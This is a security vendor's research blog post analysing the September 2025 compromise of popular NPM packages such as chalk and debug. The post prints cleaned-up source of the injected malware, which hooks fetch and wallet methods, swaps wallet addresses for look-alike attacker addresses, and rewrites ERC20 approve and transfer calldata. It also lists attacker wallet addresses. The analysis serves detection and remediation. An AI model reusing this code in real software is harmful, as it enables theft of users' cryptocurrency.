Exaforce Blog Author Image – Bleon Proko
Back to Blog
Exaforce
Research
September 10, 2025

There’s a snake in my package! How attackers are going from code to coin

How attackers hijacked popular NPM packages to replace crypto wallet addresses and silently redirect funds.

Exaforce Blog Featured Image

On September 8, 2025, Aikido Security reported and NPM confirmed that several NPM libraries were compromised in a user-side man-in-the-middle style attack. Our research dug into the details about how the attack works. The injected code sniffs requests to detect cryptocurrency accounts, then silently replaces them with attacker-controlled ones.

  • ansi-regex 6.2.1
  • color-name 2.0.1
  • debug 4.4.2
  • wrap-ansi 9.0.1
  • simple-swizzle 0.2.3
  • chalk 5.6.1
  • strip-ansi 7.1.1
  • color-string 2.1.1
  • backslash 0.2.1
  • has-ansi 6.0.1
  • chalk-template 1.1.1
  • supports-color 10.2.1
  • slice-ansi 7.1.1
  • is-arrayish 0.3.3
  • color-convert 3.1.1
  • ansi-styles 6.2.2
  • supports-hyperlinks 4.1.1
  • error-ex 1.3.3
NPM package page showing version 6.2.2 as latest, with version history including 6.2.1 and 6.2.2.
Example patched package impacted by the attack

All compromised versions have been removed from the NPM registry, and patched releases are available on NPM. We still recommend you scan your codebase, upgrade any impacted dependencies, and verify users have not been affected. This blog will break down how the attack went down and how to detect it.

Analysis of the attack

The attacker wasn’t too subtle when they included malicious code. The attacker added malicious, obfuscated JavaScript to the top of index.js in each package. The code was obfuscated and minified to look like normal script instructions, making it harder to detect.

Difference between versions 6.2.1 (compromised) and 6.2.2 (fixed) for package ansi-regex

The attack vector included detection of crypto wallets, interception of requests containing wallets, and replacement of legitimate addresses with attacker controlled ones. The flow broke down as follows:

  1. User visits an infected website
  2. Malicious code checks for cryptocurrency wallets
  3. It intercepts all network requests containing wallet addresses
  4. Wallet addresses are replaced with attacker-controlled ones using similarity matching
  5. When the victim initiates a transaction, funds are redirected
  6. Because legitimate wallet interfaces are used, the attack appears nearly invisible
Flowchart showing a crypto wallet attack script detecting wallets and tampering with fetch requests.

Detecting malicious crypto wallets

Note: All code shown below has been cleaned up for better readability.

The malware begins by checking for an Ethereum object window.ethereum.  It then waits for an eth_accounts response, retrieves wallet addresses, and attempts to run runmask() and, if newdlocal() is never executed (rund ≠ 1), sets rund’s value to 1 and runs newdlocal() once.

var neth = 0;
var rund = 0;
var loval = 0;

async function checkethereumw() {
  try {
    const etherumReq = await window.ethereum.request({ method: 'eth_accounts' });
    etherumReq.length > 0 ? (runmask(), rund != 1 && (rund = 1, neth = 1, newdlocal())) : rund != 1 && (rund = 1, newdlocal());
  } catch (error) {
    if (rund != 1) {
      rund = 1;
      newdlocal();
    }
  }
}

typeof window != 'undefined' && typeof window.ethereum != 'undefined' ? checkethereumw() : rund != 1 && (rund = 1, newdlocal());

Request hooking

newdlocal() is the function that hooks the browser, grabs the requests being made, and tampers with the request to modify the target’s account with an attacker’s account. This effectively transfers the funds from a legitimate receiver to a malicious one. The following are the functions defined in the code, with the names of the functions modified for easy readability and the original function name next to it.

const originalFetch = fetch;
fetch = async function (...args) { 
  const response = await originalFetch(...args);
  const contentType = response.headers.get('Content-Type') || '';
  let data = contentType.includes('application/json') 
    ? await response.clone().json() 
    : await response.clone().text();
  
  const processed = processData(data);
  const finalData = typeof processed === 'string' ? processed : JSON.stringify(processed);

  return new Response(finalData, {
    status: response.status,
    statusText: response.statusText,
    headers: response.headers
  });
};

The moment a wallet is found, the script will look for the closest matching attacker wallet from any of the attacker provided wallets. That way, the user will not detect the attack, as the changed wallet will look similar to the legitimate one. The malicious functions _0x3479c8(_0x13a5cc, _0x8c209f) and _0x2abae0(_0x348925, _0x2f1e3d) use the Levenshtein distance, which is defined as the minimum number of single-character edits (insertions, deletions, or substitutions) required to change one word into the other. Then, it will try to hijack the fetch() API requests and XMLHttpRequest responses, effectively changing the wallet on the request and the response.

  function levenshteinDistance(a, b) { // _0x3479c8(_0x13a5cc, _0x8c209f)
    const dp = Array.from({ length: a.length + 1 }, () => Array(b.length + 1).fill(0));

    for (let i = 0; i <= a.length; i++) dp[i][0] = i;
    for (let j = 0; j <= b.length; j++) dp[0][j] = j;

    for (let i = 1; i <= a.length; i++) {
      for (let j = 1; j <= b.length; j++) {
        if (a[i - 1] === b[j - 1]) {
          dp[i][j] = dp[i - 1][j - 1];
        } else {
          dp[i][j] = 1 + Math.min(
            dp[i - 1][j],     // deletion
            dp[i][j - 1],     // insertion
            dp[i - 1][j - 1]  // substitution
          );
        }
      }
    }
    return dp[a.length][b.length];
  }

  function findClosestString(input, candidates) { // _0x2abae0(_0x348925, _0x2f1e3d)
    let bestDistance = Infinity;
    let bestMatch = null;
    for (let candidate of candidates) {
      const distance = levenshteinDistance(input.toLowerCase(), candidate.toLowerCase());
      if (distance < bestDistance) {
        bestDistance = distance;
        bestMatch = candidate;
      }
    }
    return bestMatch;
  }

The attacker included a list of attacker controlled wallets in the script, which are checked against the target’s controlled wallets.

  • Legacy Bitcoin: 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx (and 39 others)
  • Bitcoin Bech32: bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm (and 39 others)
  • Ethereum: 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (and 59 others)
  • Litecoin: LNFWHeiSjb4QB4iSHMEvaZ8caPwtz4t6Ug(and 39 others)
  • Bitcoin Cash: bitcoincash:qpwsaxghtvt6phm53vfdj0s6mj4l7h24dgkuxeanyh (and 39 others)
  • Solana: 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6 (and 19 others)
  • Tron: TB9emsCq6fQw6wRk4HBxxNnU6Hwt1DnV67 (and 39 others)

The check will be performed for all wallets provided by the attacker, and the closest one will be returned.

function transform(inputStr) {
    var legacyBTC = [
    ];
    var segwitBTC = [
    ];
    var ethAddresses = [
    ];
    var solanaAddrs = [
    ];
    var tronAddrs = [
    ];
    var ltcAddrs = [
    ];
    var bchAddrs = [
    ];
    for (const [currency, regex] of Object.entries(_0x3ec3bb)) {
      const matches = inputStr.match(regex) || [];
      for (const match of matches) {
        if (currency == 'ethereum') {
          if (!ethAddresses.includes(match) && neth == 0) {
            inputStr = inputStr.replace(match, closestMatch(match, ethAddresses));
          }
        }
        if (currency == 'bitcoinLegacy') {
          if (!legacyBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, legacyBTC));
          }
        }
        if (currency == 'bitcoinSegwit') {
          if (!segwitBTC.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, segwitBTC));
          }
        }
        if (currency == 'tron') {
          if (!tronAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, tronAddrs));
          }
        }
        if (currency == 'ltc') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'ltc2') {
          if (!ltcAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, ltcAddrs));
          }
        }
        if (currency == 'bch') {
          if (!bchAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, bchAddrs));
          }
        }
        const allAddrs = [
          ...ethAddresses,
          ...legacyBTC,
          ...segwitBTC,
          ...tronAddrs,
          ...ltcAddrs,
          ...bchAddrs
        ];
        const isKnown = allAddrs.includes(match);
        if (currency == 'solana' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana2' && !isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
        if (currency == 'solana3' && isKnown) {
          if (!solanaAddrs.includes(match)) {
            inputStr = inputStr.replace(match, closestMatch(match, solanaAddrs));
          }
        }
      }
    }
    return inputStr;
}

The script goes through the requests and responses, modifies the target’s wallet with an attacker controlled wallet, and lets the target continue with their operations.

Transaction Manipulation using runmask()

The runmask() function is designed to intercept wallet calls in a browser (MetaMask, Solana wallets, etc.) and modify the transaction data to inject attacker controlled address before it’s sent. When a wallet is detected by the script by finding the value of window.ethereum, the malware waits for methods like request, send, and sendAsync.

function interceptWallet(wallet) { // _0x41630a(_0x5d6d52)
    const methods = ['request', 'send', 'sendAsync'];

    methods.forEach(name => {
        if (typeof wallet[name] === 'function') {
            originalMethods.set(name, wallet[name]);
            Object.defineProperty(wallet, name, {
                value: wrapMethod(wallet[name]),
                writable: true,
                configurable: true
            });
        }
    });

    isActive = true;
}

When one of the methods is found, the function _0x485f9d(_0x38473f will _0x292c7a) will try to find out if the transaction is an Ethereum or Solana transaction and modify the transaction using the function _0x1089ae(_0x4ac357, _0xc83c36 = true).

function wrapMethod(originalMethod) { // _0x1089ae(_0x4ac357, _0xc83c36 = true)
  return async function (...args) {
    increment++; // increment intercept count
    let clonedArgs;

    // Deep clone arguments to avoid mutation
    try {
      clonedArgs = JSON.parse(JSON.stringify(args));
    } catch {
      clonedArgs = [...args];
    }

    if (args[0] && typeof args[0] === 'object') {
      const request = clonedArgs[0];

      // Ethereum transaction
      if (request.method === 'eth_sendTransaction' && request.params?.[0]) {
        try {
          request.params[0] = maskTransaction(request.params[0], true); // _0x1089ae(tx, false)
        } catch {}

      // Solana transaction
      } else if (
        (request.method === 'solana_signTransaction' || request.method === 'solana_signAndSendTransaction') &&
        request.params?.[0]
      ) {
        try {
          let tx = request.params[0].transaction || request.params[0];
          const maskedTx = maskTransaction(tx, false); // _0x1089ae(tx, false)
          if (request.params[0].transaction) {
            request.params[0].transaction = maskedTx;
          } else {
            request.params[0] = maskedTx;
          }
        } catch {}
      }
    }

    const result = originalMethod();

    // Handle promises
    if (result && typeof result.then === 'function') {
      return result.then(res => res).catch(err => { throw err; });
    }

    return result;
  };
}

Function _0x1089ae(_0x4ac357, _0xc83c36 = true) grabs the request intercepted by the malware and injects its own address on it, while also tampering with the Ethereum ERC20 Token Contract or the Solana Transaction. In both cases, an attacker's address is provided.

function maskTransaction(tx, isEthereum = true) {
  // Deep clone transaction to avoid mutating original
  const maskedTx = JSON.parse(JSON.stringify(tx));

  if (isEthereum) {
    const attackAddress = '0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976';

    // Redirect non-zero value transactions
    if (maskedTx.value && maskedTx.value !== '0x0' && maskedTx.value !== '0') {
      maskedTx.to = attackAddress;
    }

    if (maskedTx.data) {
      const data = maskedTx.data.toLowerCase();

      // ERC20 approve
      if (data.startsWith('0x095ea7b3') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff';
      }
      // Custom contract call
      else if (data.startsWith('0xd505accf') && data.length >= 458) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        'ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff' +
                        data.substring(202);
      }
      // ERC20 transfer
      else if (data.startsWith('0xa9059cbb') && data.length >= 74) {
        maskedTx.data = data.substring(0, 10) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(74);
      }
      // ERC20 transferFrom
      else if (data.startsWith('0x23b872dd') && data.length >= 138) {
        maskedTx.data = data.substring(0, 10) +
                        data.substring(10, 74) +
                        '000000000000000000000000' + attackAddress.slice(2) +
                        data.substring(138);
      }
    } else if (maskedTx.to && maskedTx.to !== attackAddress) {
      maskedTx.to = attackAddress;
    }
  } else {
    // Solana-style transaction masking
    if (maskedTx.instructions && Array.isArray(maskedTx.instructions)) {
      maskedTx.instructions.forEach(instr => {
        if (instr.accounts && Array.isArray(instr.accounts)) {
          instr.accounts.forEach(acc => {
            if (typeof acc === 'string') acc = '19111111111111111111111111111111';
            else acc.pubkey = '19111111111111111111111111111111';
          });
        }
        if (instr.keys && Array.isArray(instr.keys)) {
          instr.keys.forEach(key => key.pubkey = '19111111111111111111111111111111');
        }
      });
    }
    maskedTx.recipient = '19111111111111111111111111111111';
    maskedTx.destination = '19111111111111111111111111111111';
  }

  return maskedTx;
}

The Ethereum attacker address provided is the first element in the Ethereum Address list.

var _0x4477fc = [      
'0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976',      
--snip--

Recommendations and summing it up

We strongly recommend scanning your entire codebase for any of the compromised libraries and updating them immediately. This includes checking package.json, lock files, node_modules, and your SBOM dependency trees. Once updates are applied, monitor all recent wallet transactions for suspicious activity, revoke any exposed token approvals, and, where possible, migrate to fresh wallet addresses. To further reduce risk, ensure you pin package versions to mitigate similar supply chain compromises in the future.

This malware was highly sophisticated. It hooked into the browser, intercepted requests, hijacked wallets, and operated across multiple blockchains. By abusing legitimate channels, masking transactions, and using obfuscation techniques, it was able to blend in and remain difficult to detect.

Table of contents

Share

Recent posts

Exaforce HITRUST award

Product

October 16, 2025

We’re HITRUST certified: strengthening trust across cloud-native SOC automation

Exaforce Blog Featured Image

Industry

October 9, 2025

GPT needs to be rewired for security

Exaforce Blog Featured Image

Product

October 8, 2025

Aggregation redefined: Reducing noise, enhancing context

Exaforce Blog Featured Image

News

Product

October 7, 2025

Exaforce selected to join the 2025 AWS Generative AI Accelerator

Exaforce Blog Featured Image

Research

October 2, 2025

Do you feel in control? Analysis of AWS CloudControl API as an attack tool

Exaforce Blog Featured Image

News

September 25, 2025

Exaforce Named a Leader and Outperformer in the 2025 GigaOm Radar for SecOps Automation

Exaforce Blog Featured Image

Industry

September 24, 2025

How agentic AI simplifies GuardDuty incident response playbook execution

Exaforce Blog Featured Image

Research

September 10, 2025

There’s a snake in my package! How attackers are going from code to coin

Exaforce Blog Featured Image

Research

September 9, 2025

Ghost in the Script: Impersonating Google App Script projects for stealthy persistence

Exaforce Blog Featured Image

Customer Story

September 3, 2025

How Exaforce detected an account takeover attack in a customer’s environment, leveraging our multi-model AI

Exaforce Blog Featured Image

Industry

August 27, 2025

s1ngularity supply chain attack: What happened & how Exaforce protected customers

Exaforce Blog Featured Image

Product

News

August 26, 2025

Introducing Exaforce MDR: A Managed SOC That Runs on AI

Exaforce Blog Featured Image

News

Product

August 26, 2025

Meet Exaforce: The full-lifecycle AI SOC platform

Exaforce Blog Featured Image

Product

August 21, 2025

Building trust at Exaforce: Our journey through security and compliance

Exaforce Blog Featured Image

Industry

August 7, 2025

Fixing the broken alert triage process with more signal and less noise

Exaforce Blog Featured Image

Product

July 16, 2025

Evaluate your AI SOC initiative

Exaforce Blog Featured Image

Industry

July 10, 2025

One LLM does not an AI SOC make

Exaforce Blog Featured Image

Industry

June 24, 2025

Detections done right: Threat detections require more than just rules and anomaly detection

Exaforce Blog Featured Image

Industry

June 10, 2025

The KiranaPro breach: A wake-up call for cloud threat monitoring

Exaforce Blog Featured Image

Industry

May 29, 2025

3 points missing from agentic AI conversations at RSAC

Exaforce Blog Featured Image

Product

May 27, 2025

5 reasons why security investigations are broken - and how Exaforce fixes them

Exaforce Blog Featured Image

Product

May 7, 2025

Bridging the Cloud Security Gap: Real-World Use Cases for Threat Monitoring

Exaforce Blog Featured Image

News

Product

April 17, 2025

Reimagining the SOC: Humans + AI bots = Better, faster, cheaper security & operations

Exaforce Blog Featured Image

Industry

March 16, 2025

Safeguarding against Github Actions(tj-actions/changed-files) compromise

Exaforce Blog Featured Image

Industry

November 6, 2024

Npm provenance: bridging the missing security layer in JavaScript libraries

Exaforce Blog Featured Image

Industry

November 1, 2024

Exaforce’s response to the LottieFiles npm package compromise

Explore how Exaforce can help transform your security operations

See what Exabots + humans can do for you